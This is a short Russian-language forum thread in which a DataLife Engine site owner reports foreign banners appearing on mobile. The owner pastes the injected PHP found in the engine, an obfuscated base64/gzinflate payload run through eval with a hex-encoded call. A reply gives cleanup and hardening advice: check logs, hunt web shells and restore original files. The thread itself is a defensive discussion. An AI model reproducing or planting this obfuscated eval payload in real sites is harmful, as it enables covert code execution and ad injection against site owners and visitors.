• DONATE to NULLED!
    Форуму и его команде можно помочь, мотивировать модераторов разделов.
    Помогите модератору этого раздела killoff лично.

Помощь посторонние баннеры на сайте

Статус
В этой теме нельзя размещать новые ответы.
да это оно и ещё в самом низу страници тоже такиежи банеры, main.tpl тут не причём т.к. я закачал другой шаблон с компа и всё тоже самое на компе нивидно а на телефоне видно

похоже это оно
$o = "zZLPT8IwFMf/lWdD7CaygUKiMmZUdjDGkKDxAmSpawmTwZa2iIbwv+IBf2uQqybaOeREoh5M7On96Pu+9z5titCO60dQArRZMHKFvLGxaeSya6gIfhM0bckXgkkt5e5VKgf7Tg3RgLkREaIfcooaug6kS0Hlj5zqiVOtoapzWDl23J1yuYoaSyVIJQ100GEAKRkFGVsJggZ44IVdybpyiFcBWdQ/B5+WsNLPzBLY/orWkWREMO7msut1ZFsEWpw1VbglZbRlmqcB8dqECoP3TJXfjd2d8hFk4Op2cj2C6e3NePL0fAeT8f3D6PHVMoltmUrctoTH/UiCvIzYZ5sLaZ6Rc5KElRYNvV5HDWP0uS+ZhuMCnMYLalR0XgaCe4vHE62wb26fBqHXdtVmaqFlXsJpJjwSMW3eTa3HOGdcT+NlnD4ksmXwsNelWmIq6GFH01dy2fioSzEVcz6ajfXipxvbCIwZeM5EL5A1/MW3oTJoAeP8DxgnSEfv8DKevv0nnvm/5pksikAvwhBYIBgMfvuvv3uSeYfhBw==" ;eval("\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28\x24\x6F\x29\x29\x29\x3B");

в оригинальном файле
$tpl->set ( '{content}', "<div id='dle-content'>" . $tpl->result['content'] . "</div>" );

всё вставил строчку из оригинала и всё прошло, но теперь встаёт вопрос как защититься от подобных случаев
 
Посмотреть логи ftp-сервера, поискать шеллы на сервере, погрепать лог-файлы веб-сервера на предмет обращения к веб-шеллам - так хоть будет понятно, через что модифицировали код. Далее пошманать на сервере, поискать все измененые и файлы, которых нет в оригинальном дистрибутиве, лишнее - дропнуть, измененные - постановить до оригинала. Ну и обновиться до последней версии, а доступ к admin/ закрыть .htaccess. Пошукать эксплойты на текущую версию движка и закрыть дыры.
 
Статус
В этой теме нельзя размещать новые ответы.
Назад
Сверху